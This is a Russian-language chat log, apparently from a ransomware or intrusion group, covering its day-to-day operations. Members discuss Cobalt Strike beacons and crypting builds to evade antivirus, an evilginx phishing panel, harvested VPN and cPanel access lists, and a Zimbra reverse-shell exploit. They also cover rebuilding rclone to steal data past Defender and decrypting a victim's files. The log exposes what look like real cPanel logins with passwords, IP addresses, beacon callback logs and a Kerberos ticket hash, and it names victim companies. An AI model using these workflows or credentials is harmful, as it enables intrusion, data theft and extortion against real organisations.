на жестких ав не проверял еще

ну софт свежий

он пока не палится ав особо

криптовать надо будет билды

выполнение команд

у. кобы палит именно само обшение с профилем

профиль у кобы тоже переписали

там пиздец какая работа проделал

я даже всего не расскажу

> <@cameron777:matrix.org> da vse ravno mozhet spalit'

думаю юсу

кобу что конкретно палит ?

что ты сейчас делаешь ?

crowd надо еще с ним потом проверить

как будет работать

а то есть куча таргетов к которым мы даже подойти не может

сразу выпинывают

палился ?

> <@cameron777:matrix.org> vot posledni raz v yanvare NN insurance s 3B vzyal DA

ага

ну кровд очень сильный

я уже не помню

все смешалось у меня

ага

ты главное кербы больше не снимай )

когда будет поток таргетов ?

++

ок, пиши в группу сразу

_+++

CISCO_VALID_ITEMS.txt

SONIC_VALID.txt

++

AUTH_VALID.txt

FORTI_VALID.txt

отпиши в чат

я думаю что там несколько в одной компании

там не клиника

там много трастовая у кемирона

Website

мы еще перестали качать с экчейнжей pst

базу бы пополнять нам

++

там внутри что лежит ?

куда доступ будет прилетать ?

hfj3dsk2-rh2ns1

с этим то что делать будем ?

прошлем ему ?

++

будем прорабатывать историю с сипанели ?

exe

> <@lapa:matrix.bestflowers247.online> вы проверяли файлы эти на сетках?

вы проверяли файлы эти на сетках?

доступ будет прилетать ко мне в панель evilginx

это он отписал

да

ща

уже сказал

image.png

ссылки проверяли когда отправляли через тимс

> <@lapa:matrix.bestflowers247.online> проливаю соксы

сейчас скосы пролью и прошлю

посмотрим что придет

хм

страныне осксы

ну во я сейчас две базы залил там 100% валил

я в каждый заходил ручками

я понял

++

давай

когад сделаете ?

ща

прришел кто ?

100к ушло

смотрит

минуту

посмотри что пришло

потом дай мне отчет

hfj3dsk2-rh2ns1

вот его

вот еще два комплекта

сейчас он разберет там что пришло и скажет нам

если сетки норм

то можно еще прослать

ну вот посмотрим сколько придет их 100к

готово,кабели подключены, настройте так же

У Вас подошла оплата серверов

оплачиваем его ?

ну а как ты хотел

реверсеры так же валят

у меня базы хорошие

но реверсеров тоже много

успеваешь разобрать ?

Ugway

тут что то с форматом надо сделать

cpanel uniq 2.txt

ок

ну выебут скоро этот фаил

сколько авторизаций ?

Снимок экрана 2024-04-03 в 14.59.06.png

ок

быстро

ок

надо будет с cpanel попробовать то что я вчера думал

но вот все те на которые я пролил шеллы они все локалхост

не доменные

а надо доменные что бы линуксы были

++

++

[15:11:35] Th1nkAb0ut:

чел отписал сейчас мне

надо посмореть что за доступ у него такой

++

Приветствую! У меня есть рутовый доступ к паре тысяч корпоративных почтовых серверов. Много из них в США, европе. Есть с сетками и хорошими ревеню. Интересует?

* Приветствую! У меня есть рутовый доступ к паре тысяч корпоративных почтовых серверов. Много из них в США, европе. Есть с сетками и хорошими ревеню. Интересует?

Это Zimbra. Доменные или нет не знаю, если скажешь как проверить могу выбрать доменные. Сетка есть не на всех около 30%. По ревеню пока частично отчеканы. Обычно в почте можно много логинов-паролей от корпоративных сервисов найти

видимо хосты все собрали и пробили какимт эксплойтом

как провалится дальше вот я не понял

там тоже сокс поднимаем и диапозон сканим

сейчас попрошу пару доступов

попробуем с тобой

Рановато, но таки да

Zimbra Collaboration Suite bugs (CVE-2022-27925, CVE-2022-41352)

* Рановато, но таки да

Мы уже постили exploit для CVE-2022-27925 (zimbra)

CVE-2022-27925-zimbra_Revshell.zip

```

ну как ?

прикол хочешь ?

я что то не подумал

мы все равно используем старые киты

да

нашел

артефакт кит

да

мы старые юзаем

в смысле собраете ?

ну да

главное что бы чисто было

я сейчас вот на новом

часть на старых присели

какие билды ?

со старыми китами ?

.bin ?

ну можешь сразу на крипт туда же кидат ьв чат

если их криптовать нужно

у нас эти же два криптера криптуют

ляписа сегодня оплатил

стаб надеюсь его чистый

> <@n3auxaxl:matrix.collectionofmanager.space> нет, я вам скину кит, который в кобу надо импортировать

потом дальше расскажешь что сделать

билдим с ними

и отдаем на крипт ?

сна то будет ?

cna

Снимок экрана 2024-04-03 в 17.04.57.png

ok

как ты определишь что это чисто компания ?

там еще диапозон ip адресов локальный надо узнать

они начинаются 192.168...... или 10.10.......

нужно еще как то через линук научится определять что это доменная сеть или нет

https://www.geeksforgeeks.org/domainname-command-in-linux-with-examples/

https://www.geeksforgeeks.org/domainname-command-in-linux-with-examples/

You can use hostname -d command as well to get the host domainname.

You can use hostname -d command as well to get the host domainname.

ну если мы DC знаем

domainname -A

так

нужно определить по домену ревеню и запросиль диапозон domainname -A

локальных ip адресов которые в этой сети

не внешний а внутри который

> <@lapa:matrix.bestflowers247.online> и что делаете для проверки

ipconfig /all

потом на этой же винже у наст стоит клиент

image.png

image.png

вот с соника достпу

yf dby;t ghjcnj epyfnm

на виде просто узнать когда в доменной сети

узнать диапозоны которые сканить

а вот на линксе я пока не понимаю

но ip a

domainname -A

узнать диапозон который нужно будет сканить под этим соксом

понимаешь ?

а то так можно с соксом сканить весь интренет

да

нет

мне надо знать диапозон

одного сокса не достаочно

надо узнать какой внетри они используют диапозон для своей лоакльной сети

что бы его отсканировать с этимм соксом и найти все тачки

ну да

нет

сокс нужен потом уже

когда мы будет знать что эта cpanel в сети

и там есть локальный диапозон

который мы можем сканировать

для этого нужно будет там поднять сокс тогда

нужно для начала сделать ssh доступ

потом науситься определять

доменная это сеть или нет ! этот линукс сервер в доменной сети или нет! если да то поднимаем сокс

если нет смысл там поднимать сокс только для спама или чека

ок

так

я старый артефакт пока удалил с папки где сама коба

сунул твою папку целиком

сейчас добавлю cna

Снимок экрана 2024-04-03 в 17.28.39.png

Снимок экрана 2024-04-03 в 17.29.08.png

папка внутри так выглядит

делаю raw ?

на крипт

что сейчас чище будет работать ?

х64 или х86 ?

какую точку входа сделать у dll ?

что бы с тем файлом запускать твоим ?

что то да приходит с ним кстати

19SMB_payload_x86.bin

17DNS_payload_x86.bin

17DNS_payload_x64.bin

19_payload_x86.bin

19_payload_x64.bin

GetModuleProp

я туда к себе пока не буду их скидвать в чат для крипта а то ребята их возьмут и сразу нчанут юзать

я не знаю еще какую конкретно команду я не видел еще линуксовых cpanel в доменной сети

> <@lapa:matrix.bestflowers247.online> сможете пока зайти на них и проверить вручную

35 M 95.216.236.26 95.216.236.26 http://dastkaar.com:2082/;dastkaar;5RJ@#d4VRG

95.216.236.26

подключаюсь по ssh ?

++

да

и конекта к нему нет

чего

да ладно

-0 M 92.204.208.186 92.205.1.180 https://sxb1plmcpnl491523.prod.sxb1.secureserver.net:2083/cpsess7251076536/frontend/paper_lantern/index.html:hit33ham:9aFJ%azUu

зашел по ssh первый раз

```

```

да

внешка

выдает хостинг

он как будь то не в локалке

ок

сколько займет времени ?

как узнать линукс тачка в доменной сети или нет

ip a

не показывает

Снимок экрана 2024-04-03 в 18.02.51.png

мне нужно узнать ip адреса

доменные

которые диапозоны взять для сканала

я пока не могу найти в домене он вообще или нет

ннету

hostnamectl

не выдает

я не от root еще там

это еще cpanel

++

+++

какой нужен

?

напиши TT

он тебе сделает сервак

@usernamett:matrix.bestflowers247.online

как этот был 20.63.119.165, сейчас найду параметры его

r 18

к 18

https://serverfault.com/questions/701184/find-if-linux-machine-is-domain-joined

пока не могу найти доменную сеть что бы тебе как пример ее дать

++

Zimbra

чел сейчас даст вот этот доступ

это корпоротивный почтовик

по сути он в доменной сети

сейчас я на нем попробую запросить диапозон

и попробуем на нем сокс поднять

там еще как то почты можно смотреть через веб

значит можно их выкачать )

сейчас если будет работать

я соберу все хосты

сделаем сплойт и выкачем все почты

сплойт я уже нашел

Рановато, но таки да

Zimbra Collaboration Suite bugs (CVE-2022-27925, CVE-2022-41352)

CVE-2022-27925-zimbra_Revshell.zip

```

Снимок экрана 2024-04-03 в 19.14.03.png

не стучит

7z.dll

7zG.dll

вот эти длл не пришли

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> sent a file.

проверить

сможешь ?

7zG.exe

вот ехе который запускал

`$krb5tgs$18$d_scepsrvq$local.dom$*http/srv03481.local.dom@local.dom*$F876F52B279BB61E43236F25$152705BC7746500D816A17B272E2060677635CC44E7F24BAAC37BF40398479ABF4A5DB3E86A4C0960885F246866A2501935180244D34E769FA83C383ADA77132F3271CB2068A75386DC481DFBBB69884FD21487CFDC6DD7B90B19B21FD08A9F558E82CC9D9F9AB5611E7426AEAE453D00E1B657EE39D9775EAD9C8FC67126CA49F6AF9ABE932A0906A63BB56C322EDF1D816BCA61E6CF682B9E6AE937204D72F65AB782B156E8B368AA440D2494D2B712EE61161143671F7B47AB56B8FF3E1668BB29DA98609F17076C21D14C25B43CCCD152B21D203A4387082F323845EB0E86E17D3673FEEDBCC64E488EEA92B14ED86974B54E6C488EDD853F0A09DACBD625CAA9CCFE514666273336D1A148BB07DD92C4007B33D797C48D7D5C4691DF400D9AD970FA503760434D7A485D204A08AED241E1853970B1989CA7CCD3520ABA20DA4E1B288E355B15A224574F455C46BB37D852C8F7779079B553468D22F01D04963D25147C9310234F314D910AE1211204CB7C7F7AC19268E6C21ADF9DF3672B4CD82ECF822A62AF2CB36954D335CBC9B849C6DBBE76CE864F45EDD8DA8F462A4BF0B737C5DEB4B770F9F7162472AAC2324B61F2325F8BB0DED9633777034A59E232B768DA6303E7A416AA836DD11DDD6019DDCDE63C57DC002AD8A3D0B633D9B81CB06D631F83C2B570E9350A4C30B2B97F09CBE333A639BDA514E2CCA20993D258654D068D1487A8E9E75FF842FFE04E9D98158A4C87B0CEF8D5682963747D217EE4F2067BEEB0936EF96832C44F28A9B82C1513A6C72B99237C563EFE180A435B301EB42F068FFFC7B12D003177545D517C5ED99CDF7ECC350E470ED1A0CF7D097BCEF2CF135C5E9C4D5FED21CE8523C7E421B3B21AD7DB2DFBCF0B2408F3B4CF3B518D680564F352B21DD8593773A18740BD97CAF4E2104555D93CC686FD504E27980005427E393B1E15A33124F6CF211220843930AB738B92D9BDBD9A4C40F7F685AA57957DF1F4907FEBFC78CE9F7D307E4C95A425C3AD18F9BCB730823743ACFE2EE86C748A22BCB2681FFA9056A2C9A718CAB9FEB2A56EF7794FF73851F1E6AEA77C5D7244F67FA3D92BCEBA9CB5934E1B2237852CB30104920549D3BC9070CEE9A5DF849BFB7B5D696010A41F09696807944E4CD768D0B9AB6F1E9D6768FCEE1FDDC0A3F9F6FE14927578FA3879793676B56238AA5F936E17EC30F6A1708EB1B6091F1D94C0FA45EA5A346D47A05FDAE920A4BD4BD54622510C4465997C89589E6F71CF7C88466BD626E63EB91044607FED7D4E25AA3D5FB4BF76C81DD4D5932C3914F88FAD3DDC2837CCAEB4D1CDFEE7BDC887ADAA4E82950C60A3B46DF95D4B1BC3E262D8979A0787B0FACCF778A3040F1B78D39D327AB1C4EE29A9729346E346C41ECF46AB7634F7B44C12D9423D643EE6479DE740903CD50E0DA3504DDFCE49D6DADC1BB83A1B1C3B860A3800DB07D168710554036953A9449FEA404DD6CF94DC5D1E42E1655B92E62BAB519D8EC1CFA004BC670F1E86B33D4FCFE2A3C7FF8CED9354135FB919C3B47F26A7EDC68A7EBEDD7FBE1F18BA4986CA85FB6DF4BBCC88CF0CB4B2CE670712FBCA43F9849E8F7F581AD8DB036F4A21FA0D3C793EEFC06FB114886251FCA8A3EB6065E45B70080EE82CAA50B8DA19B94E929E3EB70AF7E2545565250F879684793D60B398B67A530BD44A4583D9A1C4671821EB2E86517A4EA275C432ADC034482F3C8C4FE134762A2014D5EA8B458D276E5B763F6C9C26B39823A7C0400E260BEBF7109B660E2A7E4BF3EE3A0E90322253683A6DEEA5FABD27D64E517D46872889F0EC638A39DA23E305FC033704739E2A2B730DDEA0A2FECFC91E8EE846DA2BE49AF69B2D2E05F0E607EB390D150481AA4A21E19D6C6485A810835DF7A2A914CE56527A58F6B1E59FE30B1308C3A15774F426F533FEDCFFD773A6D87DB3EA7E6D6E7E2C70BF17DDCB85AD0630CB5964A14FEF3D384924E5A`

нет

давай юсу

пришло сегодня ?

большая ?

* ннету++

++

ай точно

Снимок экрана 2024-04-03 в 19.38.06.png

жду

ids-michigan.com

tree

SIEMENS_tree.txt

yflj gthtpfkbnm cyjdf

надо перезалить

нет

ты запустил сам ?

rundll32 7z.dll, GetModuleProp

заупстил dll

04/03 19:54:48 *** initial beacon from Admin@64.95.13.172 (660BBA17DAEEBFD)

пришла

порт да

не днс

я думаю что тебе нужно под эти билды новый ехе компилить

dll работает

стучит

ну да

котрый 7zG

* который 7zG

хуя себе

от админа запускать cmd ?

так

хорошее замечаение

сейчас

сейчас посмотрю

Снимок экрана 2024-04-03 в 20.04.16.png

```

1 M 192.232.251.98 https://cellfast.co:2083|michos|!Simbi@2015

надо вот надо посмотреть

https://ipinfo.io/192.185.213.47

ооо

вот чел выдал

shell.py

```

хорошо

вот надо посмотреть что на нем выдаст

после этих команд

https://www.zimbra.com/

Zimbra - это "Zimbra Collaboration Suite Web Client

точно

уже все

кушать надо идти

04/03 20:10:26 *** initial beacon from Admin@64.95.13.172 (660BBA17DAEEBFD)

04/03 20:12:17 *** initial beacon from Admin@64.95.13.172 (660BBA17DAEEBFD)

все стучит

все класс

> <@n3auxaxl:matrix.collectionofmanager.space> чтобы я дальше мог пойти заниматься udrl

в днс не идет

на порт пришла х86 и 64

а днс не хочет

Снимок экрана 2024-04-03 в 20.18.24.png

хорошо

shell.py

```

вот надо посмотреть что на нем выдаст

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@n3auxaxl:matrix.collectionofmanager.space> а днс вообще настроен?

rclone.exe палит деф

прикинь

не дает качать файлы им )

орет на него

он опенсорс

его пересобрать бы

почистить его от этого палева

https://github.com/rclone/rclone

https://github.com/rclone/rclone

https://rclone.org/downloads/

да

сможешь скомпилить нормально ?

rclone-v1.57.0-windows-amd64.zip

вот еще посмотри

image.png

вот прикинь что началось

как они гайки гкрутят

да

да

дату качаем им

крутой он капец

быстро качает

> <@n3auxaxl:matrix.collectionofmanager.space> вы кстати пользуетесь моим llink shares?

сетки отваливались

старый используем

печаль (

да

давай с рклоном придумаем что то

на рклон не отвлекайся

все сделаю сейчас

++

там он на го

обсуфицировать надо его и все

имя поменяли ) и все чисто ))

обсуфикация прошла успешно

но ты лучше все равно его пересобери нам )

сейчас

CPANEL_CORP_VALID.txt

azdel.com_privat

не могу раздекриптить им файлы

посмотри в чем дело

пофикси и сделай декрипт им

скинь в чат

да

19.03.2024

+ - пару дней

++

++

```

проверь 10Гб

сервера

сделал чел

может у него и возьмем

provencherroy.ca

decembre /Reporting Provencher PRA-ENG.xlsx

++

поедете ?

++

да

дак он выдал

я не успел дать команду

ты сравни пока

Config DED#17 с 10Гб картой

BMT (03.04.2024)

лог удаления по ним

нужен